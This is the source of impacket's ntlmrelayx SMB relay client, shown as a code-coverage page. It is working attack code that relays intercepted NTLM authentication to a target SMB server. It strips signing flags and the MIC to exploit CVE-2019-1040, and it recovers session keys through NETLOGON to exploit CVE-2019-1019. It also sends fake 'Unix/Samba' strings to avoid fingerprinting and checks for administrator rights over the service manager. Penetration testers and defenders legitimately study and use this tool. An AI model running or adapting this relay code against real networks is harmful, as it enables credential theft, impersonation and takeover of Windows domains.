Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/smbrelayclient.py : 9%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.
2#
3# This software is provided under under a slightly modified version
4# of the Apache Software License. See the accompanying LICENSE file
5# for more information.
6#
7# SMB Relay Protocol Client
8#
9# Author:
10# Alberto Solino (@agsolino)
11#
12# Description:
13# This is the SMB client which initiates the connection to an
14# SMB server and relays the credentials to this server.
16import logging
17import os
19from binascii import unhexlify, hexlify
20from struct import unpack, pack
21from socket import error as socketerror
22from impacket.dcerpc.v5.rpcrt import DCERPCException
23from impacket.dcerpc.v5 import nrpc
24from impacket.dcerpc.v5 import transport
25from impacket.dcerpc.v5.ndr import NULL
26from impacket import LOG
27from impacket.examples.ntlmrelayx.clients import ProtocolClient
28from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER
29from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE
30from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \
31 generateEncryptedSessionKey, hmac_md5
32from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \
33 SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \
34 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters
35from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \
36 SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \
37 SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \
38 SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response
39from impacket.smbconnection import SMBConnection, SMB_DIALECT
40from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION
41from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech
42from impacket.dcerpc.v5.transport import SMBTransport
43from impacket.dcerpc.v5 import scmr
45PROTOCOL_CLIENT_CLASS = "SMBRelayClient"
47class MYSMB(SMB):
48 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):
49 self.extendedSecurity = extendedSecurity
50 SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)
52 def neg_session(self, negPacket=None):
53 return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)
55class MYSMB3(SMB3):
56 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None):
57 self.extendedSecurity = extendedSecurity
58 SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect)
60 def negotiateSession(self, preferredDialect = None, negSessionResponse = None):
61 # We DON'T want to sign
62 self._Connection['ClientSecurityMode'] = 0
64 if self.RequireMessageSigning is True:
65 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')
66 return
68 self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
69 currentDialect = SMB2_DIALECT_WILDCARD
71 # Do we have a negSessionPacket already?
72 if negSessionResponse is not None:
73 # Yes, let's store the dialect answered back
74 negResp = SMB2Negotiate_Response(negSessionResponse['Data'])
75 currentDialect = negResp['DialectRevision']
77 if currentDialect == SMB2_DIALECT_WILDCARD:
78 # Still don't know the chosen dialect, let's send our options
80 packet = self.SMB_PACKET()
81 packet['Command'] = SMB2_NEGOTIATE
82 negSession = SMB2Negotiate()
84 negSession['SecurityMode'] = self._Connection['ClientSecurityMode']
85 negSession['Capabilities'] = self._Connection['Capabilities']
86 negSession['ClientGuid'] = self.ClientGuid
87 if preferredDialect is not None:
88 negSession['Dialects'] = [preferredDialect]
89 else:
90 negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]
91 negSession['DialectCount'] = len(negSession['Dialects'])
92 packet['Data'] = negSession
94 packetID = self.sendSMB(packet)
95 ans = self.recvSMB(packetID)
96 if ans.isValidAnswer(STATUS_SUCCESS):
97 negResp = SMB2Negotiate_Response(ans['Data'])
99 self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize'])
100 self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize'])
101 self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize'])
102 self._Connection['ServerGuid'] = negResp['ServerGuid']
103 self._Connection['GSSNegotiateToken'] = negResp['Buffer']
104 self._Connection['Dialect'] = negResp['DialectRevision']
105 if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:
106 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')
107 return
108 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
109 self._Connection['SupportsFileLeasing'] = True
110 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
111 self._Connection['SupportsMultiCredit'] = True
113 if self._Connection['Dialect'] == SMB2_DIALECT_30:
114 # Switching to the right packet format
115 self.SMB_PACKET = SMB3Packet
116 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
117 self._Connection['SupportsDirectoryLeasing'] = True
118 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
119 self._Connection['SupportsMultiChannel'] = True
120 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
121 self._Connection['SupportsPersistentHandles'] = True
122 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
123 self._Connection['SupportsEncryption'] = True
125 self._Connection['ServerCapabilities'] = negResp['Capabilities']
126 self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
128class SMBRelayClient(ProtocolClient):
129 PLUGIN_NAME = "SMB"
130 def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):
131 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)
132 self.extendedSecurity = extendedSecurity
134 self.machineAccount = None
135 self.machineHashes = None
136 self.sessionData = {}
138 self.negotiateMessage = None
139 self.challengeMessage = None
140 self.serverChallenge = None
142 self.keepAliveHits = 1
144 def netlogonSessionKey(self, authenticateMessageBlob):
145 # Here we will use netlogon to get the signing session key
146 logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp)
148 #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)
149 authenticateMessage = NTLMAuthChallengeResponse()
150 authenticateMessage.fromString(authenticateMessageBlob)
151 _, machineAccount = self.serverConfig.machineAccount.split('/')
152 domainName = authenticateMessage['domain_name'].decode('utf-16le')
154 try:
155 serverName = machineAccount[:len(machineAccount)-1]
156 except:
157 # We're in NTLMv1, not supported
158 return STATUS_ACCESS_DENIED
160 stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp
162 rpctransport = transport.DCERPCTransportFactory(stringBinding)
164 if len(self.serverConfig.machineHashes) > 0:
165 lmhash, nthash = self.serverConfig.machineHashes.split(':')
166 else:
167 lmhash = ''
168 nthash = ''
170 if hasattr(rpctransport, 'set_credentials'):
171 # This method exists only for selected protocol sequences.
172 rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash)
174 dce = rpctransport.get_dce_rpc()
175 dce.connect()
176 dce.bind(nrpc.MSRPC_UUID_NRPC)
177 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678')
179 serverChallenge = resp['ServerChallenge']
181 if self.serverConfig.machineHashes == '':
182 ntHash = None
183 else:
184 ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])
186 sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)
188 ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)
190 nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',
191 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',
192 ppp, 0x600FFFFF)
194 clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)
196 # Now let's try to verify the security blob against the PDC
198 request = nrpc.NetrLogonSamLogonWithFlags()
199 request['LogonServer'] = '\x00'
200 request['ComputerName'] = serverName + '\x00'
201 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
203 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
204 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation
205 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName
206 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0
207 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[
208 'user_name'].decode('utf-16le')
209 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''
210 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge
211 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']
212 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']
214 authenticator = nrpc.NETLOGON_AUTHENTICATOR()
215 authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)
216 authenticator['Timestamp'] = 10
218 request['Authenticator'] = authenticator
219 request['ReturnAuthenticator']['Credential'] = b'\x00' * 8
220 request['ReturnAuthenticator']['Timestamp'] = 0
221 request['ExtraFlags'] = 0
222 # request.dump()
223 try:
224 resp = dce.request(request)
225 # resp.dump()
226 except DCERPCException as e:
227 if logging.getLogger().level == logging.DEBUG:
228 import traceback
229 traceback.print_exc()
230 logging.error(str(e))
231 return e.get_error_code()
233 logging.info("%s\\%s successfully validated through NETLOGON" % (
234 domainName, authenticateMessage['user_name'].decode('utf-16le')))
236 encryptedSessionKey = authenticateMessage['session_key']
237 if encryptedSessionKey != b'':
238 signingKey = generateEncryptedSessionKey(
239 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)
240 else:
241 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']
243 logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8'))
245 return STATUS_SUCCESS, signingKey
247 def keepAlive(self):
248 # SMB Keep Alive more or less every 5 minutes
249 if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):
250 # Time to send a packet
251 # Just a tree connect / disconnect to avoid the session timeout
252 tid = self.session.connectTree('IPC$')
253 self.session.disconnectTree(tid)
254 self.keepAliveHits = 1
255 else:
256 self.keepAliveHits +=1
258 def killConnection(self):
259 if self.session is not None:
260 self.session.close()
261 self.session = None
263 def initConnection(self):
264 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)
265 #,preferredDialect=SMB_DIALECT)
266 if self.serverConfig.smb2support is True:
267 data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'
268 else:
269 data = '\x02NT LM 0.12\x00'
271 if self.extendedSecurity is True:
272 flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
273 else:
274 flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES
275 try:
276 packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,
277 flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,
278 flags2=flags2, data=data)
279 except Exception as e:
280 if not self.serverConfig.smb2support:
281 LOG.error('SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')
282 else:
283 LOG.error('SMBClient error: Connection was reset')
284 return False
285 if packet[0:1] == b'\xfe':
286 preferredDialect = None
287 # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21
288 if self.serverConfig.remove_target:
289 preferredDialect = SMB2_DIALECT_21
290 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),
291 negPacket=packet, preferredDialect=preferredDialect)
292 else:
293 # Answer is SMB packet, sticking to SMBv1
294 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),
295 negPacket=packet)
297 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,
298 existingConnection=smbClient, manualNegotiate=True)
300 return True
302 def setUid(self,uid):
303 self._uid = uid
305 def sendNegotiate(self, negotiateMessage):
306 negoMessage = NTLMAuthNegotiate()
307 negoMessage.fromString(negotiateMessage)
308 # When exploiting CVE-2019-1040, remove flags
309 if self.serverConfig.remove_mic:
310 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
311 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
312 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
313 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
314 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
315 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
316 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
317 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
319 negotiateMessage = negoMessage.getData()
321 challenge = NTLMAuthChallenge()
322 if self.session.getDialect() == SMB_DIALECT:
323 challenge.fromString(self.sendNegotiatev1(negotiateMessage))
324 else:
325 challenge.fromString(self.sendNegotiatev2(negotiateMessage))
327 self.negotiateMessage = negotiateMessage
328 self.challengeMessage = challenge.getData()
330 # Store the Challenge in our session data dict. It will be used by the SMB Proxy
331 self.sessionData['CHALLENGE_MESSAGE'] = challenge
332 self.serverChallenge = challenge['challenge']
334 return challenge
336 def sendNegotiatev2(self, negotiateMessage):
337 v2client = self.session.getSMBServer()
339 sessionSetup = SMB2SessionSetup()
340 sessionSetup['Flags'] = 0
342 sessionSetup['SecurityBufferLength'] = len(negotiateMessage)
343 sessionSetup['Buffer'] = negotiateMessage
345 packet = v2client.SMB_PACKET()
346 packet['Command'] = SMB2_SESSION_SETUP
347 packet['Data'] = sessionSetup
349 packetID = v2client.sendSMB(packet)
350 ans = v2client.recvSMB(packetID)
351 if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):
352 v2client._Session['SessionID'] = ans['SessionID']
353 sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])
354 return sessionSetupResponse['Buffer']
356 return False
358 def sendNegotiatev1(self, negotiateMessage):
359 v1client = self.session.getSMBServer()
361 smb = NewSMBPacket()
362 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
363 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY
364 # Are we required to sign SMB? If so we do it, if not we skip it
365 if v1client.is_signing_required():
366 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
368 # Just in case, clear the Unicode Flag
369 flags2 = v1client.get_flags ()[1]
370 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))
372 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
373 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
374 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
376 sessionSetup['Parameters']['MaxBufferSize'] = 65535
377 sessionSetup['Parameters']['MaxMpxCount'] = 2
378 sessionSetup['Parameters']['VcNumber'] = 1
379 sessionSetup['Parameters']['SessionKey'] = 0
380 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
382 # Let's build a NegTokenInit with the NTLMSSP
383 # TODO: In the future we should be able to choose different providers
385 #blob = SPNEGO_NegTokenInit()
387 # NTLMSSP
388 #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
389 #blob['MechToken'] = negotiateMessage
391 #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)
392 sessionSetup['Parameters']['SecurityBlobLength'] = len(negotiateMessage)
393 sessionSetup['Parameters'].getData()
394 #sessionSetup['Data']['SecurityBlob'] = blob.getData()
395 sessionSetup['Data']['SecurityBlob'] = negotiateMessage
397 # Fake Data here, don't want to get us fingerprinted
398 sessionSetup['Data']['NativeOS'] = 'Unix'
399 sessionSetup['Data']['NativeLanMan'] = 'Samba'
401 smb.addCommand(sessionSetup)
402 v1client.sendSMB(smb)
403 smb = v1client.recvSMB()
405 try:
406 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
407 except Exception:
408 LOG.error("SessionSetup Error!")
409 raise
410 else:
411 # We will need to use this uid field for all future requests/responses
412 v1client.set_uid(smb['Uid'])
414 # Now we have to extract the blob to continue the auth process
415 sessionResponse = SMBCommand(smb['Data'][0])
416 sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])
417 sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])
418 sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']
419 sessionData.fromString(sessionResponse['Data'])
420 #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])
422 #return respToken['ResponseToken']
423 return sessionData['SecurityBlob']
425 def sendStandardSecurityAuth(self, sessionSetupData):
426 v1client = self.session.getSMBServer()
427 flags2 = v1client.get_flags()[1]
428 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))
429 if sessionSetupData['Account'] != '':
430 smb = NewSMBPacket()
431 smb['Flags1'] = 8
433 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
434 sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()
435 sessionSetup['Data'] = SMBSessionSetupAndX_Data()
437 sessionSetup['Parameters']['MaxBuffer'] = 65535
438 sessionSetup['Parameters']['MaxMpxCount'] = 2
439 sessionSetup['Parameters']['VCNumber'] = os.getpid()
440 sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']
441 sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])
442 sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])
443 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE
445 sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']
446 sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']
447 sessionSetup['Data']['Account'] = sessionSetupData['Account']
448 sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']
449 sessionSetup['Data']['NativeOS'] = 'Unix'
450 sessionSetup['Data']['NativeLanMan'] = 'Samba'
452 smb.addCommand(sessionSetup)
454 v1client.sendSMB(smb)
455 smb = v1client.recvSMB()
456 try:
457 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)
458 except:
459 return None, STATUS_LOGON_FAILURE
460 else:
461 v1client.set_uid(smb['Uid'])
462 return smb, STATUS_SUCCESS
463 else:
464 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
465 clientResponse = None
466 errorCode = STATUS_ACCESS_DENIED
468 return clientResponse, errorCode
470 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):
472 # When exploiting CVE-2019-1040, remove flags
473 if self.serverConfig.remove_mic:
474 authMessage = NTLMAuthChallengeResponse()
475 authMessage.fromString(authenticateMessageBlob)
476 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:
477 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN
478 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:
479 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN
480 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:
481 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH
482 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:
483 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION
484 authMessage['MIC'] = b''
485 authMessage['MICLen'] = 0
486 authMessage['Version'] = b''
487 authMessage['VersionLen'] = 0
488 authenticateMessageBlob = authMessage.getData()
490 #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
491 # # We need to unwrap SPNEGO and get the NTLMSSP
492 # respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
493 # authData = respToken['ResponseToken']
494 #else:
495 authData = authenticateMessageBlob
497 signingKey = None
498 if self.serverConfig.remove_target:
499 # Trying to exploit CVE-2019-1019
500 # Discovery and Implementation by @simakov_marina and @YaronZi
501 # respToken2 = SPNEGO_NegTokenResp(authData)
502 authenticateMessageBlob = authData
504 errorCode, signingKey = self.netlogonSessionKey(authData)
506 # Recalculate MIC
507 res = NTLMAuthChallengeResponse()
508 res.fromString(authenticateMessageBlob)
510 newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]
511 relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)
513 respToken2 = SPNEGO_NegTokenResp()
514 respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
515 authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]
516 #authData = respToken2.getData()
518 if self.session.getDialect() == SMB_DIALECT:
519 token, errorCode = self.sendAuthv1(authData, serverChallenge)
520 else:
521 token, errorCode = self.sendAuthv2(authData, serverChallenge)
523 if signingKey:
524 logging.info("Enabling session signing")
525 self.session._SMBConnection.set_session_key(signingKey)
527 return token, errorCode
529 def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):
530 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
531 # We need to unwrap SPNEGO and get the NTLMSSP
532 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
533 authData = respToken['ResponseToken']
534 else:
535 authData = authenticateMessageBlob
537 v2client = self.session.getSMBServer()
539 sessionSetup = SMB2SessionSetup()
540 sessionSetup['Flags'] = 0
542 packet = v2client.SMB_PACKET()
543 packet['Command'] = SMB2_SESSION_SETUP
544 packet['Data'] = sessionSetup
546 # Reusing the previous structure
547 sessionSetup['SecurityBufferLength'] = len(authData)
548 sessionSetup['Buffer'] = authData
550 packetID = v2client.sendSMB(packet)
551 packet = v2client.recvSMB(packetID)
553 return packet, packet['Status']
555 def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):
556 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:
557 # We need to unwrap SPNEGO and get the NTLMSSP
558 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)
559 authData = respToken['ResponseToken']
560 else:
561 authData = authenticateMessageBlob
563 v1client = self.session.getSMBServer()
565 smb = NewSMBPacket()
566 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS
567 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE
568 # Are we required to sign SMB? If so we do it, if not we skip it
569 if v1client.is_signing_required():
570 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE
571 smb['Uid'] = v1client.get_uid()
573 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
574 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()
575 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()
577 sessionSetup['Parameters']['MaxBufferSize'] = 65535
578 sessionSetup['Parameters']['MaxMpxCount'] = 2
579 sessionSetup['Parameters']['VcNumber'] = 1
580 sessionSetup['Parameters']['SessionKey'] = 0
581 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE
583 # Fake Data here, don't want to get us fingerprinted
584 sessionSetup['Data']['NativeOS'] = 'Unix'
585 sessionSetup['Data']['NativeLanMan'] = 'Samba'
587 sessionSetup['Parameters']['SecurityBlobLength'] = len(authData)
588 sessionSetup['Data']['SecurityBlob'] = authData
589 smb.addCommand(sessionSetup)
590 v1client.sendSMB(smb)
592 smb = v1client.recvSMB()
594 errorCode = smb['ErrorCode'] << 16
595 errorCode += smb['_reserved'] << 8
596 errorCode += smb['ErrorClass']
598 return smb, errorCode
600 def getStandardSecurityChallenge(self):
601 if self.session.getDialect() == SMB_DIALECT:
602 return self.session.getSMBServer().get_encryption_key()
603 else:
604 return None
606 def isAdmin(self):
607 rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)
608 dce = rpctransport.get_dce_rpc()
609 try:
610 dce.connect()
611 except:
612 pass
613 else:
614 dce.bind(scmr.MSRPC_UUID_SCMR)
615 try:
616 # 0xF003F - SC_MANAGER_ALL_ACCESS
617 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
618 ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)
619 return "TRUE"
620 except scmr.DCERPCException as e:
621 pass
622 return "FALSE"